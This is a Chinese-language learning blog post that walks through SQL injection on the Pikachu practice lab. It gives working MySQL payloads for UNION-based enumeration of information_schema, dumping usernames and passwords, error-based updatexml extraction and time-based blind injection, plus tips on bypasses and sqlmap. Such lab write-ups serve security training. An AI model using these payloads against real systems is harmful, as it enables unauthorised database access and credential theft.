sql专区

这段时间,我重新基础的系统的学习了sql,对sql有了更清晰的认知。

为了展示我这段时间的成果,我以pikachu为例题演示。

数字型注入,字符型注入,搜索型注入

sql分为数字型注入和字符型注入,其中最大的区别是加不加 ' ,而这根本的原因是代码编写时数字型只录入数字,而字符变量本身的输入需要'    ' 括住,所以在sql注入时,注入语句因为需要被执行,所以要先闭合'  再注入,搜索型采用like语句,其中有可能源代码长这样'%     %',所以闭合语句时要加 %' 再注入。

举例:数字型注入

 这里的输入是选择框,并且没有在url上显示,猜测是post提交,需要抓包进行操作。

(用bp)发送给repeater(方便快速操作),

在这里,总结一下sql注入的基本操作,

因为市面上有很多不同的数据库,所以方式不完全相同,以MySQL为例。

手工注入

注:如果不是url,--+变成#,数字型不需要注释,

闭合方式的判断

1     1'    1"     1")     1')   

1.直接闭合看是否报错

2.注释后(#)是否正常

3.加 or 1=1是否正确(针对无回显情况)

 

1.确定是什么类型的注入(数字/字符)

2.查看表中有多少列

id = -1 order by n --+

(注:id取-1是为了报错显示,有些网站需要这样才能看到注入结果。n取从1到n,--+是在url中的注释,有时需要)

当n-1正常,而n错误时,说明有n-1列。

3.查看可以回显的位置(有的数据库需要用NULL),通常用联合查询

id = -1  union select 1,2,...,n-1 --+

在网站上看显示出了哪些数字,得到我们可以用的位置

之后都在在那些位置注入sql语句

4. 查询数据库名,版本号,采用合适的方式注入,

database(),version()

这里主要是因为MySQL中有特殊的表

information_schema,information_tables,information_colunms

储存了所有的数据库名,表名,列名

5.暴表名,列名

表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() ,...,n-1 --+

或者database()直接用查到的名字,注意两边加  '     '  。

列名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database(),...,n-1 --+

6.最后,查询表单内容即可

id=-1 union select group_concat(username列名),group_concat(password列名) from users表名 ,...,n-1 --+

除此之外,另外和其他知识结合 :

1.别的查询方式(like,XX型...),选择不同的闭合方式

2.编码绕过

3.提交方式不同(位置)(抓包,User-Agent,https  header等等)

4.回显方式不同(无回显,也称盲注)

   (1)如果有报错函数,可以报错回显。

格式:

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

   (2)没有报错函数,采用延迟函数,sleep(),用判断语句,若执行延迟,证明猜想正确。

无回显比较麻烦,需要一个个猜,一般采用工具完成。

需要在注入语句的基础上,学习绕过方式,达成目的。

返回来,按照方法进行注入

2.

3.

4.

5.(1)表

 (2)列

6. 

 工具注入(sqlmap)

2024.4.5

这些是最基本的操作,在sqlmap中,如果遇到post提交,

使用bp抓包,保存成 txt 文件,-p操作

  • 17
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值